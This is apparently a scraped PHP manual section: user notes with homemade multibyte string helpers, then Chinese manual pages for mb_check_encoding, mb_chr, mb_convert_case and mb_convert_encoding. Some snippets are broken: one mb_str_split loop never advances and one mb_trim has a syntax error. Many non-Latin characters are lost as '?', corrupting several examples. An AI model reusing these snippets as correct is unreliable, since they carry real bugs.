A small note for those who will follow rawsrc at gmail dot com's advice: mb_split uses regular expressions, in which case it may make sense to use built-in function mb_ereg_replace.
mattr at telebody dot com 19-May-2014 07:29
A brief note on Daniel Rhodes' mb_punctuation_trim().
The regular expression modifier u does not mean ungreedy, rather it means the pattern is in UTF-8 encoding. Instead the U modifier should be used to get ungreedy behavior. (I have not otherwise tested his code.)
See http://php.net/manual/en/reference.pcre.pattern.modifiers.php
Anonymous 30-Oct-2013 11:16
Yet another single-line mb_trim() function

<?php
function mb_trim($string, $trim_chars = '\s'){
    return preg_replace('/^['.$trim_chars.']*(?U)(.*)['.$trim_chars.']*$/u', '\\1',$string);
}
$string = '           "some text."      ';
echo mb_trim($string, '\s".');
//some text
?>
Daniel Rhodes 17-Sep-2013 01:24
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
Daniel Rhodes 16-Sep-2013 02:55
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
Daniel Rhodes 16-Sep-2013 12:11
Here's a cheap and cheeky function to remove leading and trailing *punctuation* (or more specifically "non-word characters") from a UTF-8 string in whatever language. (At least it works well enough for Japanese and English.)

/**
 * Trim singlebyte and multibyte punctuation from the start and end of a string
 *
 * @author Daniel Rhodes
 * @note we want the first non-word grabbing to be greedy but then
 * @note we want the dot-star grabbing (before the last non-word grabbing)
 * @note to be ungreedy
 *
 * @param string $string input string in UTF-8
 * @return string as $string but with leading and trailing punctuation removed
 */
function mb_punctuation_trim($string)
{
    preg_match('/^[^\w]{0,}(.*?)[^\w]{0,}$/iu', $string, $matches); //case-'i'nsensitive and 'u'ngreedy

    if(count($matches) < 2)
    {
        //some strange error so just return the original input
        return $string;
    }

    return $matches[1];
}

Hope you like it!
deceze at gmail dot com 04-Sep-2012 10:32
Please note that all the discussion about mb_str_replace in the comments is pretty pointless. str_replace works just fine with multibyte strings:

<?php

$string  = '漢字はユニコード';
$needle  = 'は';
$replace = 'Foo';

echo str_replace($needle, $replace, $string);
// outputs: 漢字Fooユニコード

?>

The usual problem is that the string is evaluated as binary string, meaning PHP is not aware of encodings at all. Problems arise if you are getting a value "from outside" somewhere (database, POST request) and the encoding of the needle and the haystack is not the same. That typically means the source code is not saved in the same encoding as you are receiving "from outside". Therefore the binary representations don't match and nothing happens.
rawsrc at gmail dot com 09-Aug-2011 02:36
Hi,

For those who are looking for mb_str_replace, here's a simple function :
<?php
function mb_str_replace($needle, $replacement, $haystack) {
   return implode($replacement, mb_split($needle, $haystack));
}
?>
I haven't found a simpliest way to proceed :-)
efesar 28-Jan-2011 02:21
This small mb_trim function works for me.

<?php
function mb_trim( $string )
{
    $string = preg_replace( "/(^\s+)|(\s+$)/us", "", $string );

    return $string;
}
?>
johannesponader at dontspamme dot googlemail dot co 17-Oct-2010 09:46
Please note that when migrating code to handle UTF-8 encoding, not only the functions mentioned here are useful, but also the function htmlentities() has to be changed to htmlentities($var, ENT_COMPAT, "UTF-8") or similar. I didn't scan the manual for it, but there could be some more functions that need adjustments like this.
mt at mediamedics dot nl 17-Dec-2009 05:52
A multibyte one-to-one alternative for the str_split function (http://php.net/manual/en/function.str-split.php):

<?php
    function mb_str_split($string, $split_length = 1){

        mb_internal_encoding('UTF-8');
        mb_regex_encoding('UTF-8');

        $split_length = ($split_length <= 0) ? 1 : $split_length;

        $mb_strlen = mb_strlen($string, 'utf-8');

        $array = array();

        for($i = 0; $i < $mb_strlen; $i + $split_length){

            $array[] = mb_substr($string, $i, $split_length);
        }

        return $array;

    }
?>
peter AT(no spam) dezzignz dot com 29-Oct-2009 04:26
The function trim() has not failed me so far in my multibyte applications, but in case one needs a truly multibyte function, here it is. The nice thing is that the character to remove can be whitespace or any other specified character, even a multibyte character.

<?php

// multibyte string split

function mbStringToArray ($str) {
    if (empty($str)) return false;
    $len = mb_strlen($str);
    $array = array();
    for ($i = 0; $i < $len; $i++) {
        $array[] = mb_substr($str, $i, 1);
        }
    return $array;
    }

// removes $rem at both ends

function mb_trim ($str, $rem = ' ') {
    if (empty($str)) return false;
    // convert to array
    $arr = mbStringToArray($str);
    $len = count($arr);
    // left side
    for ($i = 0; $i < $len; $i++) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // right side
    for ($i = $len-1; $i >= 0; $i--) {
        if ($arr[$i] === $rem) $arr[$i] = '';
        else break;
        }
    // convert to string
    return implode ('', $arr);
    }

?>
roydukkey at roydukkey dot com 22-Oct-2009 09:31
This would be one way to create a multibyte substr_replace function

<?php
function mb_substr_replace($output, $replace, $posOpen, $posClose) {
        return mb_substr($output, 0, $posOpen).$replace.mb_substr($output, $posClose+1);
    }
?>
sakai at d4k dot net 26-Jun-2009 05:46
I hope this mb_str_replace will work for arrays.  Please use mb_internal_encoding() beforehand, if you need to change the encoding.

Thanks to marc at ermshaus dot org for the original.

<?php

if(!function_exists('mb_str_replace')) {

    function mb_str_replace($search, $replace, $subject) {

        if(is_array($subject)) {
            $ret = array();
            foreach($subject as $key => $val) {
                $ret[$key] = mb_str_replace($search, $replace, $val);
            }
            return $ret;
        }

        foreach((array) $search as $key => $s) {
            if($s == '') {
                continue;
            }
            $r = !is_array($replace) ? $replace : (array_key_exists($key, $replace) ? $replace[$key] : '');
            $pos = mb_strpos($subject, $s);
            while($pos !== false) {
                $subject = mb_substr($subject, 0, $pos) . $r . mb_substr($subject, $pos + mb_strlen($s));
                $pos = mb_strpos($subject, $s, $pos + mb_strlen($r));
            }
        }

        return $subject;

    }

}

?>
mitgath at gmail dot com 30-Apr-2009 06:26
according to:
http://bugs.php.net/bug.php?id=21317
here's missing function

<?php
function mb_str_pad ($input, $pad_length, $pad_string, $pad_style, $encoding="UTF-8") {
   return str_pad($input,
strlen($input)-mb_strlen($input,$encoding)+$pad_length, $pad_string, $pad_style);
}
?>
Ben XO 16-Nov-2008 05:14
PHP5 has no mb_trim(), so here's one I made. It work just as trim(), but with the added bonus of PCRE character classes (including, of course, all the useful Unicode ones such as \pZ).

Unlike other approaches that I've seen to this problem, I wanted to emulate the full functionality of trim() - in particular, the ability to customise the character list.

<?php
    /**
     * Trim characters from either (or both) ends of a string in a way that is
     * multibyte-friendly.
     *
     * Mostly, this behaves exactly like trim() would: for example supplying 'abc' as
     * the charlist will trim all 'a', 'b' and 'c' chars from the string, with, of
     * course, the added bonus that you can put unicode characters in the charlist.
     *
     * We are using a PCRE character-class to do the trimming in a unicode-aware
     * way, so we must escape ^, \, - and ] which have special meanings here.
     * As you would expect, a single \ in the charlist is interpretted as
     * "trim backslashes" (and duly escaped into a double-\ ). Under most circumstances
     * you can ignore this detail.
     *
     * As a bonus, however, we also allow PCRE special character-classes (such as '\s')
     * because they can be extremely useful when dealing with UCS. '\pZ', for example,
     * matches every 'separator' character defined in Unicode, including non-breaking
     * and zero-width spaces.
     *
     * It doesn't make sense to have two or more of the same character in a character
     * class, therefore we interpret a double \ in the character list to mean a
     * single \ in the regex, allowing you to safely mix normal characters with PCRE
     * special classes.
     *
     * *Be careful* when using this bonus feature, as PHP also interprets backslashes
     * as escape characters before they are even seen by the regex. Therefore, to
     * specify '\\s' in the regex (which will be converted to the special character
     * class '\s' for trimming), you will usually have to put *4* backslashes in the
     * PHP code - as you can see from the default value of $charlist.
     *
     * @param string
     * @param charlist list of characters to remove from the ends of this string.
     * @param boolean trim the left?
     * @param boolean trim the right?
     * @return String
     */
    function mb_trim($string, $charlist='\\\\s', $ltrim=true, $rtrim=true)
    {
        $both_ends = $ltrim && $rtrim;

        $char_class_inner = preg_replace(
            array( '/[\^\-\]\\\]/S', '/\\\{4}/S' ),
            array( '\\\\\\0', '\\' ),
            $charlist
        );

        $work_horse = '[' . $char_class_inner . ']+';
        $ltrim && $left_pattern = '^' . $work_horse;
        $rtrim && $right_pattern = $work_horse . '$';

        if($both_ends)
        {
            $pattern_middle = $left_pattern . '|' . $right_pattern;
        }
        elseif($ltrim)
        {
            $pattern_middle = $left_pattern;
        }
        else
        {
            $pattern_middle = $right_pattern;
        }

        return preg_replace("/$pattern_middle/usSD", '', $string) );
    }
?>
marc at ermshaus dot org 03-Oct-2008 03:05
A small correction to patrick at hexane dot org's mb_str_replace function. The original function does not work as intended in case $replacement contains $needle.

<?php
function mb_str_replace($needle, $replacement, $haystack)
{
    $needle_len = mb_strlen($needle);
    $replacement_len = mb_strlen($replacement);
    $pos = mb_strpos($haystack, $needle);
    while ($pos !== false)
    {
        $haystack = mb_substr($haystack, 0, $pos) . $replacement
                . mb_substr($haystack, $pos + $needle_len);
        $pos = mb_strpos($haystack, $needle, $pos + $replacement_len);
    }
    return $haystack;
}
?>
patrick at hexane dot org 27-Jun-2008 08:18
I wonder why there isn't a mb_str_replace().  Here's one for now:

function mb_str_replace( $needle, $replacement, $haystack ) {
  $needle_len = mb_strlen($needle);
  $pos = mb_strpos( $haystack, $needle);
  while (!($pos ===false)) {
    $front = mb_substr( $haystack, 0, $pos );
    $back  = mb_substr( $haystack, $pos + $needle_len);
    $haystack = $front.$replacement.$back;
    $pos = mb_strpos( $haystack, $needle);
  }
  return $haystack;
}
chris at maedata dot com 24-Apr-2007 09:50
The opposite of what Eugene Murai wrote in a previous comment is true when importing/uploading a file. For instance, if you export an Excel spreadsheet using the Save As Unicode Text option, you can use the following to convert it to UTF-8 after uploading:

//Convert file to UTF-8 in case Windows mucked it up
$file = explode( "\n", mb_convert_encoding( trim( file_get_contents( $_FILES['file']['tmp_name'] ) ), 'UTF-8', 'UTF-16' ) );
mdoocy at u dot washington dot edu 14-Mar-2007 10:30
Note that some of the multi-byte functions run in O(n) time, rather than constant time as is the case for their single-byte equivalents. This includes any functionality requiring access at a specific index, since random access is not possible in a string whose number of bytes will not necessarily match the number of characters. Affected functions include: mb_substr(), mb_strstr(), mb_strcut(), mb_strpos(), etc.
motin at demomusic dot nu 19-Jan-2007 05:12
As peter dot albertsson at spray dot se already pointed out, overloading strlen may break code that handles binary data and relies upon strlen for bytelengths.

The problem occurs when a file is filled with a string using fwrite in the following manner:

$len = strlen($data);
fwrite($fp, $data, $len);

fwrite takes amount of bytes as the third parameter, but mb_strlen returns the amount of characters in the string. Since multibyte characters are possibly more than one byte in length each - this will result in that the last characters of $data never gets written to the file.

After hours of investigating why PEAR::Cache_Lite didn't work - the above is what I found.

I made an attempt at using single byte functions, but it doesn't work. Posting here anyway in case it helps someone else:

/**
* PHP Singe byte functions simulation (non successful)
*
* Usage: sb_string(functionname, arg1, arg2, etc);
* Example: sb_string("strlen", "tu?é?"); returns 8 (should...)
*/
function sb_string() {

  $arguments = func_get_args();

  $func_overloading = ini_get("mbstring.func_overload");

  ini_set("mbstring.func_overload", 0);

  $ret = call_user_func_array(array_shift($arguments), $arguments);

  ini_set("mbstring.func_overload", $func_overloading);

  return $ret;

}
pdezwart .at. snocap 10-Oct-2006 11:28
If you are trying to emulate the UnicodeEncoding.Unicode.GetBytes() function in .NET, the encoding you want to use is: UCS-2LE
hayk at mail dot ru 17-Aug-2006 12:36
Since PHP 5.1.0 and PHP 4.4.2 there is an Armenian ArmSCII-8 (ArmSCII-8, ArmSCII8, ARMSCII-8, ARMSCII8) encoding avaliable.
daniel at softel dot jp 24-Jul-2006 04:41
Note that although "multi-byte" hints at total internationalization, the mb_ API was designed by a Japanese person to support the Japanese language.

Some of the functions, for example mb_convert_kana(), make absolutely no sense outside of a Japanese language environment.

It should perhaps be considered "lucky" if the functions work with non-Japanese multi-byte languages.

I don't mean any disrespect to the mb_ API because I'm using it everyday and I appreciate its usefulness, but maybe a better name would be the jp_ API.
Aardvark 13-Mar-2006 11:37
Since not all hosted servces currently support the multi-byte function set, it may still be necessary to process Unicode strings using standard single byte functions.  The function at the following link - http://www.kanolife.com/escape/2006/03/php-unicode-processing.html - shows by example how to do this.  While this only covers UTF-8, the standard PHP function "iconv" allows conversion into and out of UTF-8 if strings need to be input or output in other encodings.
peter kehl 09-Mar-2006 08:34
UTF-16LE solution for CSV for Excel by Eugene Murai works well:
$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');

However, then Excel on Mac OS X doesn't identify columns properly and its puts each whole row in its own cell. In order to fix that, use TAB "\\t" character as CSV delimiter rather than comma or colon.

You may also want to use HTTP encoding header, such as
header( "Content-type: application/vnd.ms-excel; charset=UTF-16LE" );
14-Aug-2005 07:24
get the string octet-size, when mbstring.func_overload is set to 2 :

<?php
function str_sizeof($string) {
    return count(preg_split("`.`", $string)) - 1 ;
}
?>

answering to peter albertsson, once you got your data octet-size, you can access each octet with something
$string[0] ... $string[$size-1], since the [ operator doesn't complies with multibytes strings.
peter dot albertsson at spray dot se 21-May-2005 03:43
Setting mbstring.func_overload = 2 may break your applications that deal with binary data.

After having set mbstring.func_overload = 2 and  mbstring.internal_encoding = UTF-8 I can't even read a binary file and print/echo it to output without corrupting it.
nzkiwi at NOSPAMmte dot biglobe dot ne dot jp 13-Apr-2005 04:37
A friend has pointed out that the entry
"mbstring.http_input PHP_INI_ALL" in Table 1 on the mbstring page appears to be wrong: above Example 4 it says that "There is no way to control HTTP input character conversion from PHP script. To disable HTTP input character conversion, it has to be done in php.ini".
Also the table shows the old-PHP-version defaults:
;; Disable HTTP Input conversion
mbstring.http_input = pass  *BUT* (for PHP 4.3.0 or higher)
;; Disable HTTP Input conversion
mbstring.encoding_translation = Off
Eugene Murai 23-Feb-2005 10:20
PHP can input and output Unicode, but a little different from what Microsoft means: when Microsoft says "Unicode", it unexplicitly means little-endian UTF-16 with BOM(FF FE = chr(255).chr(254)), whereas PHP's "UTF-16" means big-endian with BOM. For this reason, PHP does not seem to be able to output Unicode CSV file for Microsoft Excel. Solving this problem is quite simple: just put BOM infront of UTF-16LE string.

Example:

$unicode_str_for_Excel = chr(255).chr(254).mb_convert_encoding( $utf8_str, 'UTF-16LE', 'UTF-8');


检查字符串在指定的编码里是否有效

  • ? 多字节字符串 函数
  • mb_chr ?
  • PHP Manual
  • 多字节字符串 函数
  • 检查字符串在指定的编码里是否有效

mb_check_encoding

(PHP 4 >= 4.4.3, PHP 5 >= 5.1.3, PHP 7, PHP 8)

mb_check_encoding — 检查字符串在指定的编码里是否有效

说明

mb_check_encoding(array|string|null $value = null, ?string $encoding = null): bool

检查指定字节流在指定编码中是否有效。如果 value 是 array 类型，则递归验证所有键和值。它能有效避免所谓的"无效编码攻击（Invalid Encoding Attack）"。

参数

value

要检查的字节流或 array。如果省略了这个参数，此函数会检查所有来自最初请求所有的输入。

Warning

自 PHP 8.1.0 起，禁止省略此参数或传递 null。

encoding

期望的编码。

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
8.1.0 | 弃用使用 null 作为 value 或不带参数调用此函数。
8.0.0 | value 和 encoding 现在可以为 null。
7.2.0 | 此函数现在也接受 array 作为 value。之前仅支持 string。

User Contributed Notes

There are no user contributed notes for this page.


按 Unicode 码位值返回字符

  • ? mb_check_encoding
  • mb_convert_case ?
  • PHP Manual
  • 多字节字符串 函数
  • 按 Unicode 码位值返回字符

mb_chr

(PHP 7 >= 7.2.0, PHP 8)

mb_chr — 按 Unicode 码位值返回字符

说明

mb_chr(int $codepoint, ?string $encoding = null): string|false

返回一个含有由 Unicode 码位值所指定的字符的字符串，以指定的编码进行编码。

此函数与 mb_ord() 互补。

参数

codepoint

一个 Unicode 码位值，例如 128024 是 U+1F418 ELEPHANT

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

如果可以用所指定的编码表示，则返回含有所请求的字符的字符串， 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 encoding 可以为 null。

示例

Example #1 Testing different code points

<?php
$values = [65, 63, 0x20AC, 128024];
foreach ($values as $value) {
var_dump(mb_chr($value, 'UTF-8'));
var_dump(mb_chr($value, 'ISO-8859-1'));
}
?>

以上示例会输出：

string(1) "A"
string(1) "A"
string(1) "?"
string(1) "?"
string(3) "�"
bool(false)
string(4) "??"
bool(false)

参见

  • mb_internal_encoding() - 设置/获取内部字符编码
  • mb_ord() - 获取字符的 Unicode 码位值
  • IntlChar::ord() - Return Unicode code point value of character
  • chr() - 从数字生成单字节字符串

User Contributed Notes

There are no user contributed notes for this page.


对字符串进行大小写转换

  • ? mb_chr
  • mb_convert_encoding ?
  • PHP Manual
  • 多字节字符串 函数
  • 对字符串进行大小写转换

mb_convert_case

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

mb_convert_case — 对字符串进行大小写转换

说明

mb_convert_case(string $string, int $mode, ?string $encoding = null): string

对一个 string 进行大小写转换，转换模式由 mode 指定。

参数

string

要被转换的 string。

mode

转换的模式。它可以是 MB_CASE_UPPER、MB_CASE_LOWER、MB_CASE_TITLE、MB_CASE_FOLD、MB_CASE_UPPER_SIMPLE、MB_CASE_LOWER_SIMPLE、MB_CASE_TITLE_SIMPLE、MB_CASE_FOLD_SIMPLE 的其中一个。

encoding

encoding 参数为字符编码。如果省略或是 null，则使用内部字符编码。

返回值

按 mode 指定的模式转换 string 大小写后的版本。

更新日志

版本 | 说明
7.3.0 | 添加对 MB_CASE_FOLD、MB_CASE_UPPER_SIMPLE、MB_CASE_LOWER_SIMPLE、MB_CASE_TITLE_SIMPLE 和 MB_CASE_FOLD_SIMPLE 作为 mode 的支持。

示例

Example #1 mb_convert_case() 示例

<?php
$str = "mary had a Little lamb and she loved it so";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // 输出 MARY HAD A LITTLE LAMB AND SHE LOVED IT SO
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // 输出 Mary Had A Little Lamb And She Loved It So
?>

Example #2 非拉丁 UTF-8 文本的 mb_convert_case() 示例

<?php
$str = "Τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
echo $str; // 输出 Τ?ΧΙΣΤΗ ΑΛ?ΠΗΞ ΒΑΦ?Σ ΨΗΜ?ΝΗ ΓΗ, ΔΡΑΣΚΕΛ?ΖΕΙ ΥΠ?Ρ ΝΩΘΡΟ? ΚΥΝ?Σ
$str = mb_convert_case($str, MB_CASE_TITLE, "UTF-8");
echo $str; // 输出 Τ?χιστη Αλ?πηξ Βαφ?σ Ψημ?νη Γη, Δρασκελ?ζει Υπ?ρ Νωθρο? Κυν?σ
?>

注释

和类似 strtolower()、strtoupper() 的标准大小写转换函数相比，大小写转换的执行根据 Unicode 字符属性的基础。因此函数的行为不受语言环境（locale）设置的影响，能够转换任意具有"字母"属性的字符，例如元音变音A（?）。

更多关于 Unicode 属性的信息，请查看 » http://www.unicode.org/reports/tr21/。

参见

  • mb_strtolower() - 使字符串小写
  • mb_strtoupper() - 使字符串大写
  • strtolower() - 将字符串转化为小写
  • strtoupper() - 将字符串转化为大写
  • ucfirst() - 将字符串的首字母转换为大写
  • ucwords() - 将字符串中每个单词的首字母转换为大写

User Contributed Notes

Anonymous 05-Dec-2021 11:04
$str = "Τ?χιστη αλ?πηξ βαφ?? ψημ?νη γη, δρασκελ?ζει υπ?ρ νωθρο? κυν??";
$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
this convertation does not give the example that you already post
but this one

$str = mb_convert_case($str, MB_CASE_UPPER, "UTF-8");
"Τ?ΧΙΣΤΗ ΑΛ?ΠΗΞ ΒΑΦ?Σ ΨΗΜ?ΝΗ ΓΗ, ΔΡΑΣΚΕΛ?ΖΕΙ ΥΠ?Ρ ΝΩΘΡΟ? ΚΥΝ?Σ"
alNzy 05-Mar-2020 08:29
You can use this function to fix problems related to Turkish "?", "I", "i", "?" characters. This function also replaces the weird "i?" character with regular "i" character ("i? => i").

function mb_convert_case_tr($str, $type, $encoding = "UTF-8")
{

  switch ($type) {
    case "u":
    case "upper":
    case MB_CASE_UPPER:
      $type = MB_CASE_UPPER;
      break;
    case "l":
    case "lower":
    case MB_CASE_LOWER:
      $type = MB_CASE_LOWER;
      break;
    case "t":
    case "title":
    case MB_CASE_TITLE:
      $type = MB_CASE_TITLE;
      break;
  }

  $str = str_replace("i", "?", $str);
  $str = str_replace("I", "?", $str);

  $str = mb_convert_case($str, $type, $encoding);
  $str = str_replace("i?", "i", $str);

  return $str;
}
tavhane at gmail dot com 24-Mar-2018 08:46
for turkish simple:

$str = mb_convert_case(str_replace(['i','I'], ['?','?'], $str), MB_CASE_TITLE,"UTF-8");
webenformasyon at gmail dot com 18-Mar-2018 09:32
for turkish language I => i  and i => I conversion is a problem. It must be I => ? and i => ? so my simple solution is

    public function title_case_turkish($str){

        $str = str_replace("i", "?", $str);
        $str = str_replace("I", "?", $str);

        $str = mb_convert_case($str, MB_CASE_TITLE,"UTF-8");

        return $str;

    }
dave at wp dot pl 20-Jul-2016 12:51
MB_CASE_TITLE doesn't change letters in quotation marks.

Example:
mb_convert_case('AAA "aaa"', MB_CASE_TITLE);
// Result: Aaa "aaa"
cataphract at php dot net 26-Jul-2010 11:06
This is a variation of mb_convert_case that works only for UTF-8 strings and that will not convert to lowercase anything.

This avoids turning "AAA aaa" into "Aaa Aaa"; it maps "AAA aaa" into ""AAA Aaa" instead.

<?php
function mb_convert_case_utf8_variation($s) {
    $arr = preg_split("//u", $s, -1, PREG_SPLIT_NO_EMPTY);
    $result = "";
    $mode = false;
    foreach ($arr as $char) {
        $res = preg_match(
            '/\\p{Mn}|\\p{Me}|\\p{Cf}|\\p{Lm}|\\p{Sk}|\\p{Lu}|\\p{Ll}|'.
            '\\p{Lt}|\\p{Sk}|\\p{Cs}/u', $char) == 1;
        if ($mode) {
            if (!$res)
                $mode = false;
        }
        elseif ($res) {
            $mode = true;
            $char = mb_convert_case($char, MB_CASE_TITLE, "UTF-8");
        }
        $result .= $char;
    }

    return $result;
}
?>
agash at freemail dot hu 19-Jul-2009 03:27
as the previouly posted version of this function doesn't handle UTF-8 characters, I simply tried to replace ucfirst to mb_convert_case, but then any previous case foldings were lost while looping through delimiters.
So I decided to do an mb_convert_case on the input string (it also deals with words is uppercase wich may also be problematic when doing case-sensitive search), and do the rest of checking after that.

As with mb_convert_case, words are capitalized, I also added lowercase convertion for the exceptions, but, for the above mentioned reason, I left ucfirst unchanged.

Now it works fine for utf-8 strings as well, except for string delimiters followed by an UTF-8 character ("Mcádám" is unchanged, while "mcdunno's" is converted to "McDunno's" and "?kr?s-TóTH éDUa" in also put in the correct form)

I use it for checking user input on names and addresses, so exceptions list contains some hungarian words too.

<?php

function titleCase($string, $delimiters = array(" ", "-", ".", "'", "O'", "Mc"), $exceptions = array("út", "u", "s", "és", "utca", "tér", "krt", "k?rút", "sétány", "I", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X", "XI", "XII", "XIII", "XIV", "XV", "XVI", "XVII", "XVIII", "XIX", "XX", "XXI", "XXII", "XXIII", "XXIV", "XXV", "XXVI", "XXVII", "XXVIII", "XXIX", "XXX" )) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
        $string = mb_convert_case($string, MB_CASE_TITLE, "UTF-8");

       foreach ($delimiters as $dlnr => $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $wordnr => $word){

                       if (in_array(mb_strtoupper($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtoupper($word, "UTF-8");
                       }
                       elseif (in_array(mb_strtolower($word, "UTF-8"), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = mb_strtolower($word, "UTF-8");
                       }

                       elseif (!in_array($word, $exceptions) ){
                               // convert to uppercase (non-utf8 only)

                               $word = ucfirst($word);

                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }//foreach
       return $string;
}

?>
the at psychoticneurotic dot com 08-Apr-2009 10:03
Building upon Justin's and Alex's work...

This function allows you to specify which delimiter(s) to explode on (not just the default space). Now you can correctly capitalize Irish names and hyphenated words (if you want)!

<?php
function titleCase($string, $delimiters = array(" ", "-", "O'"), $exceptions = array("to", "a", "the", "of", "by", "and", "with", "II", "III", "IV", "V", "VI", "VII", "VIII", "IX", "X")) {
       /*
        * Exceptions in lower case are words you don't want converted
        * Exceptions all in upper case are any words you don't want converted to title case
        *   but should be converted to upper case, e.g.:
        *   king henry viii or king henry Viii should be King Henry VIII
        */
       foreach ($delimiters as $delimiter){
               $words = explode($delimiter, $string);
               $newwords = array();
               foreach ($words as $word){
                       if (in_array(strtoupper($word), $exceptions)){
                               // check exceptions list for any words that should be in upper case
                               $word = strtoupper($word);
                       } elseif (!in_array($word, $exceptions)){
                               // convert to uppercase
                               $word = ucfirst($word);
                       }
                       array_push($newwords, $word);
               }
               $string = join($delimiter, $newwords);
       }
       return $string;
}
?>
info at yasarnet dot com 03-Jul-2008 11:57
For my case following did the work to capitalize UTF-8 encoded string.

function capitalize($str, $encoding = 'UTF-8') {
    return mb_strtoupper(mb_substr($str, 0, 1, $encoding), $encoding) . mb_strtolower(mb_substr($str, 1, mb_strlen($str), $encoding), $encoding);
}
Rasa Ravi at tantrajoga dot cz 30-Apr-2005 01:36
For CZECH characters:
<?php
$text = mb_convert_case($text, MB_CASE_LOWER, "Windows-1251");
?>
The right encoding Windows-1250 is not valid (see the list mb_list_encodings), but Windows-1251 will do the same 100%. The function strtolower() ignores czech characters with diacritics.


转换字符串，从一个字符编码到另一个字符编码

  • ? mb_convert_case
  • mb_convert_kana ?
  • PHP Manual
  • 多字节字符串 函数
  • 转换字符串，从一个字符编码到另一个字符编码

mb_convert_encoding

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

mb_convert_encoding — 转换字符串，从一个字符编码到另一个字符编码

说明

mb_convert_encoding(array|string $string, string $to_encoding, array|string|null $from_encoding = null): array|string|false

转换 string 从 from_encoding 或当前内部编码转换到 to_encoding。 当参数 string 是 array 时，将递归转换它所有的 string 值。

参数

string

要转换的 string 或 array。

to_encoding

所需的结果编码。

from_encoding

当前用于解释 string 的编码。可以将多个编码指定为 array 或逗号分隔列表，在这种情况下，将使用与 mb_detect_encoding() 相同的算法来猜测正确的编码。

如果 from_encoding 被省略或为 null，则将使用 mbstring.internal_encoding 设置，否则使用 default_charset 设置。

有关 to_encoding 和 from_encoding 的有效值，请参阅支持的编码。

返回值

编码后的 string。 成功时返回编码后的 string 或 array， 或者在失败时返回 false。

错误／异常

当 to_encoding 或 from_encoding 为无效的编码时， PHP 8.0.0 起将抛出 ValueError； 而在 PHP 8.0.0 之前的版本里，会产生一个 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 现在，当 to_encoding 为无效编码时， mb_convert_encoding() 会抛出 ValueError。
8.0.0 | 现在，当 from_encoding 为无效编码时， mb_convert_encoding() 会抛出 ValueError。
8.0.0 | 现在 from_encoding 可以传入 null。
7.2.0 | 现在该函数的 string 参数同时能接受 array 类型。 在此之前，仅支持 string。

示例

Example #1 mb_convert_encoding() 示例

<?php
/* 转换内部编码为 SJIS */
$str = mb_convert_encoding($str, "SJIS");

/* 将 EUC-JP 转换成 UTF-7 */
$str = mb_convert_encoding($str, "UTF-7", "EUC-JP");

/* 从 JIS, eucjp-win, sjis-win 中自动检测编码，并转换 str 到 UCS-2LE */
$str = mb_convert_encoding($str, "UCS-2LE", "JIS, eucjp-win, sjis-win");

/* 如果 mbstring.language 是 "Japanese"，"auto" 扩展成 "ASCII,JIS,UTF-8,EUC-JP,SJIS" */
$str = mb_convert_encoding($str, "EUC-JP", "auto");
?>

参见

  • mb_detect_order() - 设置/获取 字符编码的检测顺序
  • UConverter::transcode() - Convert a string from one character encoding to another
  • iconv() - 将字符串从一个字符编码转换到另一个字符编码

User Contributed Notes

Julian Egelstaff 29-Nov-2022 07:15
If you have what looks like ISO-8859-1, but it includes "smart quotes" courtesy of Microsoft software, or people cutting and pasting content from Microsoft software, then what you're actually dealing with is probably Windows-1252. Try this:

<?php
$cleanText = mb_convert_encoding($text, 'UTF-8', 'Windows-1252');
?>

The annoying part is that the auto detection (ie: the mb_detect_encoding function) will often think Windows-1252 is ISO-8859-1. Close, but no cigar. This is critical if you're then trying to do unserialize on the resulting text, because the byte count of the string needs to be perfect.
Rainer Perske 24-Aug-2022 01:35
Text-encoding HTML-ENTITIES will be deprecated as of PHP 8.2.

